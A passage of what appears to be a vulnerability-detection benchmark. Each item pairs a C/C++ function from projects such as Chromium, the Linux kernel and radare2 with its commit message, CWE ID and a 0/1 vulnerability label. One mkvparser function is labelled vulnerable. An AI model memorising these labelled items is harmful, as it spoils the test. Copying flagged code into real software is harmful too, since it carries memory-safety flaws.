Reviewed-on: https://chromium-review.googlesource.com/943064
Commit-Queue: Michail Pishchagin <mblsha@yandex-team.ru>
Reviewed-by: Pavel Feldman <pfeldman@chromium.org>
Reviewed-by: Avi Drissman <avi@chromium.org>
Reviewed-by: Peter Kasting <pkasting@chromium.org>
Cr-Commit-Position: refs/heads/master@{#542517}
CWE ID: | 0 | 126,135 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: NPObject* WebPluginProxy::GetPluginElement() {
if (plugin_element_)
return plugin_element_;
int npobject_route_id = channel_->GenerateRouteID();
bool success = false;
Send(new PluginHostMsg_GetPluginElement(route_id_, npobject_route_id,
&success));
if (!success)
return NULL;
plugin_element_ = NPObjectProxy::Create(
channel_, npobject_route_id, containing_window_, page_url_);
return plugin_element_;
}
Commit Message: Convert plugin and GPU process to brokered handle duplication.
BUG=119250
Review URL: https://chromiumcodereview.appspot.com/9958034
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@132303 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: | 0 | 107,044 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void Clipboard::WriteWebSmartPaste() {
InsertMapping(kMimeTypeWebkitSmartPaste, NULL, 0);
}
Commit Message: Use XFixes to update the clipboard sequence number.
BUG=73478
TEST=manual testing
Review URL: http://codereview.chromium.org/8501002
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@109528 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: | 0 | 107,372 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void RenderWidgetHostImpl::RendererIsUnresponsive() {
NotificationService::current()->Notify(
NOTIFICATION_RENDER_WIDGET_HOST_HANG,
Source<RenderWidgetHost>(this),
NotificationService::NoDetails());
is_unresponsive_ = true;
if (delegate_)
delegate_->RendererUnresponsive(this);
}
Commit Message: Force a flush of drawing to the widget when a dialog is shown.
BUG=823353
TEST=as in bug
Change-Id: I5da777068fc29c5638ef02d50e59d5d7b2729260
Reviewed-on: https://chromium-review.googlesource.com/971661
Reviewed-by: Ken Buchanan <kenrb@chromium.org>
Commit-Queue: Avi Drissman <avi@chromium.org>
Cr-Commit-Position: refs/heads/master@{#544518}
CWE ID: | 0 | 155,602 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static inline bool vm_need_virtualize_apic_accesses(struct kvm *kvm)
{
return flexpriority_enabled && irqchip_in_kernel(kvm);
}
Commit Message: x86,kvm,vmx: Preserve CR4 across VM entry
CR4 isn't constant; at least the TSD and PCE bits can vary.
TBH, treating CR0 and CR3 as constant scares me a bit, too, but it looks
like it's correct.
This adds a branch and a read from cr4 to each vm entry. Because it is
extremely likely that consecutive entries into the same vcpu will have
the same host cr4 value, this fixes up the vmcs instead of restoring cr4
after the fact. A subsequent patch will add a kernel-wide cr4 shadow,
reducing the overhead in the common case to just two memory reads and a
branch.
Signed-off-by: Andy Lutomirski <luto@amacapital.net>
Acked-by: Paolo Bonzini <pbonzini@redhat.com>
Cc: stable@vger.kernel.org
Cc: Petr Matousek <pmatouse@redhat.com>
Cc: Gleb Natapov <gleb@kernel.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID: CWE-399 | 0 | 37,195 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: unsigned lodepng_is_greyscale_type(const LodePNGColorMode* info)
{
return info->colortype == LCT_GREY || info->colortype == LCT_GREY_ALPHA;
}
Commit Message: Fixed #5645: realloc return handling
CWE ID: CWE-772 | 0 | 87,563 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void DiceTurnSyncOnHelper::EnableUnifiedConsentIfNeeded() {
if (unified_consent::IsUnifiedConsentFeatureEnabled()) {
UnifiedConsentServiceFactory::GetForProfile(profile_)
->SetUnifiedConsentGiven(true);
}
}
Commit Message: [signin] Add metrics to track the source for refresh token updated events
This CL add a source for update and revoke credentials operations. It then
surfaces the source in the chrome://signin-internals page.
This CL also records the following histograms that track refresh token events:
* Signin.RefreshTokenUpdated.ToValidToken.Source
* Signin.RefreshTokenUpdated.ToInvalidToken.Source
* Signin.RefreshTokenRevoked.Source
These histograms are needed to validate the assumptions of how often tokens
are revoked by the browser and the sources for the token revocations.
Bug: 896182
Change-Id: I2fcab80ee8e5699708e695bc3289fa6d34859a90
Reviewed-on: https://chromium-review.googlesource.com/c/1286464
Reviewed-by: Jochen Eisinger <jochen@chromium.org>
Reviewed-by: David Roger <droger@chromium.org>
Reviewed-by: Ilya Sherman <isherman@chromium.org>
Commit-Queue: Mihai Sardarescu <msarda@chromium.org>
Cr-Commit-Position: refs/heads/master@{#606181}
CWE ID: CWE-20 | 0 | 143,231 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: long Cluster::Parse(long long& pos, long& len) const
{
long status = Load(pos, len);
if (status < 0)
return status;
assert(m_pos >= m_element_start);
assert(m_timecode >= 0);
const long long cluster_stop =
(m_element_size < 0) ? -1 : m_element_start + m_element_size;
if ((cluster_stop >= 0) && (m_pos >= cluster_stop))
return 1; //nothing else to do
IMkvReader* const pReader = m_pSegment->m_pReader;
long long total, avail;
status = pReader->Length(&total, &avail);
if (status < 0) //error
return status;
assert((total < 0) || (avail <= total));
pos = m_pos;
for (;;)
{
if ((cluster_stop >= 0) && (pos >= cluster_stop))
break;
if ((total >= 0) && (pos >= total))
{
if (m_element_size < 0)
m_element_size = pos - m_element_start;
break;
}
if ((pos + 1) > avail)
{
len = 1;
return E_BUFFER_NOT_FULL;
}
long long result = GetUIntLength(pReader, pos, len);
if (result < 0) //error
return static_cast<long>(result);
if (result > 0) //weird
return E_BUFFER_NOT_FULL;
if ((cluster_stop >= 0) && ((pos + len) > cluster_stop))
return E_FILE_FORMAT_INVALID;
if ((pos + len) > avail)
return E_BUFFER_NOT_FULL;
const long long id = ReadUInt(pReader, pos, len);
if (id < 0) //error
return static_cast<long>(id);
if (id == 0) //weird
return E_FILE_FORMAT_INVALID;
if ((id == 0x0F43B675) || (id == 0x0C53BB6B)) //Cluster or Cues ID
{
if (m_element_size < 0)
m_element_size = pos - m_element_start;
break;
}
pos += len; //consume ID field
if ((pos + 1) > avail)
{
len = 1;
return E_BUFFER_NOT_FULL;
}
result = GetUIntLength(pReader, pos, len);
if (result < 0) //error
return static_cast<long>(result);
if (result > 0) //weird
return E_BUFFER_NOT_FULL;
if ((cluster_stop >= 0) && ((pos + len) > cluster_stop))
return E_FILE_FORMAT_INVALID;
if ((pos + len) > avail)
return E_BUFFER_NOT_FULL;
const long long size = ReadUInt(pReader, pos, len);
if (size < 0) //error
return static_cast<long>(size);
const long long unknown_size = (1LL << (7 * len)) - 1;
if (size == unknown_size)
return E_FILE_FORMAT_INVALID;
pos += len; //consume size field
if ((cluster_stop >= 0) && (pos > cluster_stop))
return E_FILE_FORMAT_INVALID;
if (size == 0) //weird
continue;
const long long block_stop = pos + size;
if (cluster_stop >= 0)
{
if (block_stop > cluster_stop)
{
if ((id == 0x20) || (id == 0x23))
return E_FILE_FORMAT_INVALID;
pos = cluster_stop;
break;
}
}
else if ((total >= 0) && (block_stop > total))
{
m_element_size = total - m_element_start;
pos = total;
break;
}
else if (block_stop > avail)
{
len = static_cast<long>(size);
return E_BUFFER_NOT_FULL;
}
Cluster* const this_ = const_cast<Cluster*>(this);
if (id == 0x20) //BlockGroup
return this_->ParseBlockGroup(size, pos, len);
if (id == 0x23) //SimpleBlock
return this_->ParseSimpleBlock(size, pos, len);
pos += size; //consume payload
assert((cluster_stop < 0) || (pos <= cluster_stop));
}
assert(m_element_size > 0);
m_pos = pos;
assert((cluster_stop < 0) || (m_pos <= cluster_stop));
if (m_entries_count > 0)
{
const long idx = m_entries_count - 1;
const BlockEntry* const pLast = m_entries[idx];
assert(pLast);
const Block* const pBlock = pLast->GetBlock();
assert(pBlock);
const long long start = pBlock->m_start;
if ((total >= 0) && (start > total))
return -1; //defend against trucated stream
const long long size = pBlock->m_size;
const long long stop = start + size;
assert((cluster_stop < 0) || (stop <= cluster_stop));
if ((total >= 0) && (stop > total))
return -1; //defend against trucated stream
}
return 1; //no more entries
}
Commit Message: libwebm: Pull from upstream
Rolling mkvparser from upstream. Primarily for fixing a bug on parsing
failures with certain Opus WebM files.
Upstream commit hash of this pull: 574045edd4ecbeb802ee3f1d214b5510269852ae
The diff is so huge because there were some style clean ups upstream.
But it was ensured that there were no breaking changes when the style
clean ups was done upstream.
Change-Id: Ib6e907175484b4b0ae1b55ab39522ea3188ad039
CWE ID: CWE-119 | 1 | 174,409 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: SProcRenderQueryDithers(ClientPtr client)
{
return BadImplementation;
}
Commit Message:
CWE ID: CWE-20 | 0 | 17,624 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: int dom_document_standalone_write(dom_object *obj, zval *newval TSRMLS_DC)
{
zval value_copy;
xmlDoc *docp;
int standalone;
docp = (xmlDocPtr) dom_object_get_node(obj);
if (docp == NULL) {
php_dom_throw_error(INVALID_STATE_ERR, 0 TSRMLS_CC);
return FAILURE;
}
if(Z_REFCOUNT_P(newval) > 1) {
value_copy = *newval;
zval_copy_ctor(&value_copy);
newval = &value_copy;
}
convert_to_long(newval);
standalone = Z_LVAL_P(newval);
if (standalone > 0) {
docp->standalone = 1;
}
else if (standalone < 0) {
docp->standalone = -1;
}
else {
docp->standalone = 0;
}
if (newval == &value_copy) {
zval_dtor(newval);
}
return SUCCESS;
}
Commit Message:
CWE ID: CWE-254 | 0 | 15,076 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: struct dentry *ovl_dentry_lower(struct dentry *dentry)
{
struct ovl_entry *oe = dentry->d_fsdata;
return oe->lowerdentry;
}
Commit Message: fs: limit filesystem stacking depth
Add a simple read-only counter to super_block that indicates how deep this
is in the stack of filesystems. Previously ecryptfs was the only stackable
filesystem and it explicitly disallowed multiple layers of itself.
Overlayfs, however, can be stacked recursively and also may be stacked
on top of ecryptfs or vice versa.
To limit the kernel stack usage we must limit the depth of the
filesystem stack. Initially the limit is set to 2.
Signed-off-by: Miklos Szeredi <mszeredi@suse.cz>
CWE ID: CWE-264 | 0 | 74,576 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool kvm_irq_delivery_to_apic_fast(struct kvm *kvm, struct kvm_lapic *src,
struct kvm_lapic_irq *irq, int *r, unsigned long *dest_map)
{
struct kvm_apic_map *map;
unsigned long bitmap = 1;
struct kvm_lapic **dst;
int i;
bool ret = false;
*r = -1;
if (irq->shorthand == APIC_DEST_SELF) {
*r = kvm_apic_set_irq(src->vcpu, irq, dest_map);
return true;
}
if (irq->shorthand)
return false;
rcu_read_lock();
map = rcu_dereference(kvm->arch.apic_map);
if (!map)
goto out;
if (irq->dest_mode == 0) { /* physical mode */
if (irq->delivery_mode == APIC_DM_LOWEST ||
irq->dest_id == 0xff)
goto out;
dst = &map->phys_map[irq->dest_id & 0xff];
} else {
u32 mda = irq->dest_id << (32 - map->ldr_bits);
dst = map->logical_map[apic_cluster_id(map, mda)];
bitmap = apic_logical_id(map, mda);
if (irq->delivery_mode == APIC_DM_LOWEST) {
int l = -1;
for_each_set_bit(i, &bitmap, 16) {
if (!dst[i])
continue;
if (l < 0)
l = i;
else if (kvm_apic_compare_prio(dst[i]->vcpu, dst[l]->vcpu) < 0)
l = i;
}
bitmap = (l >= 0) ? 1 << l : 0;
}
}
for_each_set_bit(i, &bitmap, 16) {
if (!dst[i])
continue;
if (*r < 0)
*r = 0;
*r += kvm_apic_set_irq(dst[i]->vcpu, irq, dest_map);
}
ret = true;
out:
rcu_read_unlock();
return ret;
}
Commit Message: KVM: x86: fix guest-initiated crash with x2apic (CVE-2013-6376)
A guest can cause a BUG_ON() leading to a host kernel crash.
When the guest writes to the ICR to request an IPI, while in x2apic
mode the following things happen, the destination is read from
ICR2, which is a register that the guest can control.
kvm_irq_delivery_to_apic_fast uses the high 16 bits of ICR2 as the
cluster id. A BUG_ON is triggered, which is a protection against
accessing map->logical_map with an out-of-bounds access and manages
to avoid that anything really unsafe occurs.
The logic in the code is correct from real HW point of view. The problem
is that KVM supports only one cluster with ID 0 in clustered mode, but
the code that has the bug does not take this into account.
Reported-by: Lars Bull <larsbull@google.com>
Cc: stable@vger.kernel.org
Signed-off-by: Gleb Natapov <gleb@redhat.com>
Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
CWE ID: CWE-189 | 0 | 28,774 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: error::Error GLES2DecoderPassthroughImpl::DoCompressedTexSubImage3D(
GLenum target,
GLint level,
GLint xoffset,
GLint yoffset,
GLint zoffset,
GLsizei width,
GLsizei height,
GLsizei depth,
GLenum format,
GLsizei image_size,
GLsizei data_size,
const void* data) {
api()->glCompressedTexSubImage3DRobustANGLEFn(
target, level, xoffset, yoffset, zoffset, width, height, depth, format,
image_size, data_size, data);
ExitCommandProcessingEarly();
return error::kNoError;
}
Commit Message: Add GL_PROGRAM_COMPLETION_QUERY_CHROMIUM
This makes the query of GL_COMPLETION_STATUS_KHR to programs much
cheaper by minimizing the round-trip to the GPU thread.
Bug: 881152, 957001
Change-Id: Iadfa798af29225e752c710ca5c25f50b3dd3101a
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1586630
Commit-Queue: Kenneth Russell <kbr@chromium.org>
Reviewed-by: Kentaro Hara <haraken@chromium.org>
Reviewed-by: Geoff Lang <geofflang@chromium.org>
Reviewed-by: Kenneth Russell <kbr@chromium.org>
Cr-Commit-Position: refs/heads/master@{#657568}
CWE ID: CWE-416 | 0 | 141,907 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: ssize_t ovl_getxattr(struct dentry *dentry, const char *name,
void *value, size_t size)
{
struct path realpath;
enum ovl_path_type type = ovl_path_real(dentry, &realpath);
if (ovl_need_xattr_filter(dentry, type) && ovl_is_private_xattr(name))
return -ENODATA;
return vfs_getxattr(realpath.dentry, name, value, size);
}
Commit Message: ovl: fix permission checking for setattr
[Al Viro] The bug is in being too enthusiastic about optimizing ->setattr()
away - instead of "copy verbatim with metadata" + "chmod/chown/utimes"
(with the former being always safe and the latter failing in case of
insufficient permissions) it tries to combine these two. Note that copyup
itself will have to do ->setattr() anyway; _that_ is where the elevated
capabilities are right. Having these two ->setattr() (one to set verbatim
copy of metadata, another to do what overlayfs ->setattr() had been asked
to do in the first place) combined is where it breaks.
Signed-off-by: Miklos Szeredi <miklos@szeredi.hu>
Cc: <stable@vger.kernel.org>
Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
CWE ID: CWE-264 | 0 | 41,427 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void pdf_run_n(fz_context *ctx, pdf_processor *proc)
{
pdf_run_processor *pr = (pdf_run_processor *)proc;
pdf_show_path(ctx, pr, 0, 0, 0, 0);
}
Commit Message:
CWE ID: CWE-416 | 0 | 537 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static l2cap_socket *btsock_l2cap_alloc_l(const char *name, const bt_bdaddr_t *addr,
char is_server, int flags)
{
l2cap_socket *sock;
unsigned security = 0;
int fds[2];
if (flags & BTSOCK_FLAG_ENCRYPT)
security |= is_server ? BTM_SEC_IN_ENCRYPT : BTM_SEC_OUT_ENCRYPT;
if (flags & BTSOCK_FLAG_AUTH)
security |= is_server ? BTM_SEC_IN_AUTHENTICATE : BTM_SEC_OUT_AUTHENTICATE;
if (flags & BTSOCK_FLAG_AUTH_MITM)
security |= is_server ? BTM_SEC_IN_MITM : BTM_SEC_OUT_MITM;
if (flags & BTSOCK_FLAG_AUTH_16_DIGIT)
security |= BTM_SEC_IN_MIN_16_DIGIT_PIN;
sock = osi_calloc(sizeof(*sock));
if (!sock) {
APPL_TRACE_ERROR("alloc failed");
goto fail_alloc;
}
if (socketpair(AF_LOCAL, SOCK_SEQPACKET, 0, fds)) {
APPL_TRACE_ERROR("socketpair failed, errno:%d", errno);
goto fail_sockpair;
}
sock->our_fd = fds[0];
sock->app_fd = fds[1];
sock->security = security;
sock->server = is_server;
sock->connected = FALSE;
sock->handle = 0;
sock->server_psm_sent = FALSE;
if (name)
strncpy(sock->name, name, sizeof(sock->name) - 1);
if (addr)
sock->addr = *addr;
sock->first_packet = NULL;
sock->last_packet = NULL;
sock->next = socks;
sock->prev = NULL;
if (socks)
socks->prev = sock;
sock->id = (socks ? socks->id : 0) + 1;
socks = sock;
/* paranoia cap on: verify no ID duplicates due to overflow and fix as needed */
while (1) {
l2cap_socket *t;
t = socks->next;
while (t && t->id != sock->id) {
t = t->next;
}
if (!t && sock->id) /* non-zeor handle is unique -> we're done */
break;
/* if we're here, we found a duplicate */
if (!++sock->id) /* no zero IDs allowed */
sock->id++;
}
APPL_TRACE_DEBUG("SOCK_LIST: alloc(id = %d)", sock->id);
return sock;
fail_sockpair:
osi_free(sock);
fail_alloc:
return NULL;
}
Commit Message: DO NOT MERGE Fix potential DoS caused by delivering signal to BT process
Bug: 28885210
Change-Id: I63866d894bfca47464d6e42e3fb0357c4f94d360
Conflicts:
btif/co/bta_hh_co.c
btif/src/btif_core.c
Merge conflict resolution of ag/1161415 (referencing ag/1164670)
- Directly into mnc-mr2-release
CWE ID: CWE-284 | 0 | 158,841 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void register_inmem_page(struct inode *inode, struct page *page)
{
struct f2fs_inode_info *fi = F2FS_I(inode);
struct inmem_pages *new;
f2fs_trace_pid(page);
set_page_private(page, (unsigned long)ATOMIC_WRITTEN_PAGE);
SetPagePrivate(page);
new = f2fs_kmem_cache_alloc(inmem_entry_slab, GFP_NOFS);
/* add atomic page indices to the list */
new->page = page;
INIT_LIST_HEAD(&new->list);
/* increase reference count with clean state */
mutex_lock(&fi->inmem_lock);
get_page(page);
list_add_tail(&new->list, &fi->inmem_pages);
inc_page_count(F2FS_I_SB(inode), F2FS_INMEM_PAGES);
mutex_unlock(&fi->inmem_lock);
trace_f2fs_register_inmem_page(page, INMEM);
}
Commit Message: f2fs: fix a panic caused by NULL flush_cmd_control
Mount fs with option noflush_merge, boot failed for illegal address
fcc in function f2fs_issue_flush:
if (!test_opt(sbi, FLUSH_MERGE)) {
ret = submit_flush_wait(sbi);
atomic_inc(&fcc->issued_flush); -> Here, fcc illegal
return ret;
}
Signed-off-by: Yunlei He <heyunlei@huawei.com>
Signed-off-by: Jaegeuk Kim <jaegeuk@kernel.org>
CWE ID: CWE-476 | 0 | 85,417 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: string16 TaskManagerView::GetWindowTitle() const {
return l10n_util::GetStringUTF16(IDS_TASK_MANAGER_TITLE);
}
Commit Message: accelerators: Remove deprecated Accelerator ctor that takes booleans.
BUG=128242
R=ben@chromium.org
Review URL: https://chromiumcodereview.appspot.com/10399085
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@137957 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-399 | 0 | 106,552 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void av_free(void *ptr)
{
#if CONFIG_MEMALIGN_HACK
if (ptr) {
int v= ((char *)ptr)[-1];
av_assert0(v>0 && v<=ALIGN);
free((char *)ptr - v);
}
#elif HAVE_ALIGNED_MALLOC
_aligned_free(ptr);
#else
free(ptr);
#endif
}
Commit Message: avutil/mem: Fix flipped condition
Fixes return code and later null pointer dereference
Found-by: Laurent Butti <laurentb@gmail.com>
Signed-off-by: Michael Niedermayer <michaelni@gmx.at>
CWE ID: | 0 | 29,699 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void AppCacheDispatcherHost::SwapCacheCallback(bool result, void* param) {
IPC::Message* reply_msg = reinterpret_cast<IPC::Message*>(param);
DCHECK_EQ(pending_reply_msg_.get(), reply_msg);
AppCacheHostMsg_SwapCache::WriteReplyParams(reply_msg, result);
Send(pending_reply_msg_.release());
}
Commit Message: AppCache: Use WeakPtr<> to fix a potential uaf bug.
BUG=554908
Review URL: https://codereview.chromium.org/1441683004
Cr-Commit-Position: refs/heads/master@{#359930}
CWE ID: | 0 | 124,251 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void OmniboxEditModel::OnSetFocus(bool control_down) {
last_omnibox_focus_ = base::TimeTicks::Now();
user_input_since_focus_ = false;
SetFocusState(OMNIBOX_FOCUS_VISIBLE, OMNIBOX_FOCUS_CHANGE_EXPLICIT);
control_key_state_ = control_down ? DOWN_WITHOUT_CHANGE : UP;
if (delegate_->CurrentPageExists() && !user_input_in_progress_) {
autocomplete_controller()->StartZeroSuggest(AutocompleteInput(
permanent_text_, base::string16::npos, base::string16(),
delegate_->GetURL(), ClassifyPage(), false, false, true, true));
}
if (user_input_in_progress_ || !in_revert_)
delegate_->OnInputStateChanged();
}
Commit Message: [OriginChip] Re-enable the chip as necessary when switching tabs.
BUG=369500
Review URL: https://codereview.chromium.org/292493003
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@271161 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-362 | 0 | 111,092 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static bool tracing_record_taskinfo_skip(int flags)
{
if (unlikely(!(flags & (TRACE_RECORD_CMDLINE | TRACE_RECORD_TGID))))
return true;
if (atomic_read(&trace_record_taskinfo_disabled) || !tracing_is_on())
return true;
if (!__this_cpu_read(trace_taskinfo_save))
return true;
return false;
}
Commit Message: Merge tag 'trace-v4.18-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/rostedt/linux-trace
Pull tracing fixes from Steven Rostedt:
"This contains a few fixes and a clean up.
- a bad merge caused an "endif" to go in the wrong place in
scripts/Makefile.build
- softirq tracing fix for tracing that corrupts lockdep and causes a
false splat
- histogram documentation typo fixes
- fix a bad memory reference when passing in no filter to the filter
code
- simplify code by using the swap macro instead of open coding the
swap"
* tag 'trace-v4.18-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/rostedt/linux-trace:
tracing: Fix SKIP_STACK_VALIDATION=1 build due to bad merge with -mrecord-mcount
tracing: Fix some errors in histogram documentation
tracing: Use swap macro in update_max_tr
softirq: Reorder trace_softirqs_on to prevent lockdep splat
tracing: Check for no filter when processing event filters
CWE ID: CWE-787 | 0 | 81,498 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: long __sched io_schedule_timeout(long timeout)
{
struct rq *rq = raw_rq();
long ret;
delayacct_blkio_start();
atomic_inc(&rq->nr_iowait);
current->in_iowait = 1;
ret = schedule_timeout(timeout);
current->in_iowait = 0;
atomic_dec(&rq->nr_iowait);
delayacct_blkio_end();
return ret;
}
Commit Message: Sched: fix skip_clock_update optimization
idle_balance() drops/retakes rq->lock, leaving the previous task
vulnerable to set_tsk_need_resched(). Clear it after we return
from balancing instead, and in setup_thread_stack() as well, so
no successfully descheduled or never scheduled task has it set.
Need resched confused the skip_clock_update logic, which assumes
that the next call to update_rq_clock() will come nearly immediately
after being set. Make the optimization robust against the waking
a sleeper before it sucessfully deschedules case by checking that
the current task has not been dequeued before setting the flag,
since it is that useless clock update we're trying to save, and
clear unconditionally in schedule() proper instead of conditionally
in put_prev_task().
Signed-off-by: Mike Galbraith <efault@gmx.de>
Reported-by: Bjoern B. Brandenburg <bbb.lst@gmail.com>
Tested-by: Yong Zhang <yong.zhang0@gmail.com>
Signed-off-by: Peter Zijlstra <a.p.zijlstra@chello.nl>
Cc: stable@kernel.org
LKML-Reference: <1291802742.1417.9.camel@marge.simson.net>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
CWE ID: | 0 | 22,475 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: one_code(Gif_Context *gfc, Gif_Code code)
{
uint8_t *suffixes = gfc->suffix;
Gif_Code *prefixes = gfc->prefix;
uint8_t *ptr;
int lastsuffix = 0;
int codelength = gfc->length[code];
gfc->decodepos += codelength;
ptr = gfc->image + gfc->decodepos;
while (codelength > 0) {
lastsuffix = suffixes[code];
code = prefixes[code];
--ptr;
if (ptr < gfc->maximage)
*ptr = lastsuffix;
--codelength;
}
/* return the first pixel in the code, which, since we walked backwards
through the code, was the last suffix we processed. */
return lastsuffix;
}
Commit Message: gif_read: Set last_name = NULL unconditionally.
With a non-malicious GIF, last_name is set to NULL when a name
extension is followed by an image. Reported in #117, via
Debian, via a KAIST fuzzing program.
CWE ID: CWE-415 | 0 | 86,187 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int parse_symtab(struct MACH0_(obj_t)* bin, ut64 off) {
struct symtab_command st;
ut32 size_sym;
int i;
ut8 symt[sizeof (struct symtab_command)] = {0};
ut8 nlst[sizeof (struct MACH0_(nlist))] = {0};
if (off > (ut64)bin->size || off + sizeof (struct symtab_command) > (ut64)bin->size) {
return false;
}
int len = r_buf_read_at (bin->b, off, symt, sizeof (struct symtab_command));
if (len != sizeof (struct symtab_command)) {
bprintf ("Error: read (symtab)\n");
return false;
}
st.cmd = r_read_ble32 (&symt[0], bin->big_endian);
st.cmdsize = r_read_ble32 (&symt[4], bin->big_endian);
st.symoff = r_read_ble32 (&symt[8], bin->big_endian);
st.nsyms = r_read_ble32 (&symt[12], bin->big_endian);
st.stroff = r_read_ble32 (&symt[16], bin->big_endian);
st.strsize = r_read_ble32 (&symt[20], bin->big_endian);
bin->symtab = NULL;
bin->nsymtab = 0;
if (st.strsize > 0 && st.strsize < bin->size && st.nsyms > 0) {
bin->nsymtab = st.nsyms;
if (st.stroff > bin->size || st.stroff + st.strsize > bin->size) {
return false;
}
if (!UT32_MUL (&size_sym, bin->nsymtab, sizeof (struct MACH0_(nlist)))) {
bprintf("fail2\n");
return false;
}
if (!size_sym) {
bprintf("fail3\n");
return false;
}
if (st.symoff > bin->size || st.symoff + size_sym > bin->size) {
bprintf("fail4\n");
return false;
}
if (!(bin->symstr = calloc (1, st.strsize + 2))) {
perror ("calloc (symstr)");
return false;
}
bin->symstrlen = st.strsize;
len = r_buf_read_at (bin->b, st.stroff, (ut8*)bin->symstr, st.strsize);
if (len != st.strsize) {
bprintf ("Error: read (symstr)\n");
R_FREE (bin->symstr);
return false;
}
if (!(bin->symtab = calloc (bin->nsymtab, sizeof (struct MACH0_(nlist))))) {
perror ("calloc (symtab)");
return false;
}
for (i = 0; i < bin->nsymtab; i++) {
len = r_buf_read_at (bin->b, st.symoff + (i * sizeof (struct MACH0_(nlist))),
nlst, sizeof (struct MACH0_(nlist)));
if (len != sizeof (struct MACH0_(nlist))) {
bprintf ("Error: read (nlist)\n");
R_FREE (bin->symtab);
return false;
}
bin->symtab[i].n_strx = r_read_ble32 (&nlst[0], bin->big_endian);
bin->symtab[i].n_type = r_read_ble8 (&nlst[4]);
bin->symtab[i].n_sect = r_read_ble8 (&nlst[5]);
bin->symtab[i].n_desc = r_read_ble16 (&nlst[6], bin->big_endian);
#if R_BIN_MACH064
bin->symtab[i].n_value = r_read_ble64 (&nlst[8], bin->big_endian);
#else
bin->symtab[i].n_value = r_read_ble32 (&nlst[8], bin->big_endian);
#endif
}
}
return true;
}
Commit Message: Fix #9970 - heap oobread in mach0 parser (#10026)
CWE ID: CWE-125 | 0 | 82,850 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int pdf_add_image(struct pdf_doc *pdf, struct pdf_object *page,
struct pdf_object *image, int x, int y, int width,
int height)
{
int ret;
struct dstr str = {0, 0, 0};
dstr_append(&str, "q ");
dstr_printf(&str, "%d 0 0 %d %d %d cm ", width, height, x, y);
dstr_printf(&str, "/Image%d Do ", image->index);
dstr_append(&str, "Q");
ret = pdf_add_stream(pdf, page, str.data);
dstr_free(&str);
return ret;
}
Commit Message: jpeg: Fix another possible buffer overrun
Found via the clang libfuzzer
CWE ID: CWE-125 | 0 | 82,990 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void PrintWebViewHelper::ComputePageLayoutInPointsForCss(
WebFrame* frame,
int page_index,
const PrintMsg_Print_Params& page_params,
bool ignore_css_margins,
double* scale_factor,
PageSizeMargins* page_layout_in_points) {
PrintMsg_Print_Params params = CalculatePrintParamsForCss(
frame, page_index, page_params, ignore_css_margins,
page_params.print_scaling_option ==
WebKit::WebPrintScalingOptionFitToPrintableArea,
scale_factor);
CalculatePageLayoutFromPrintParams(params, page_layout_in_points);
}
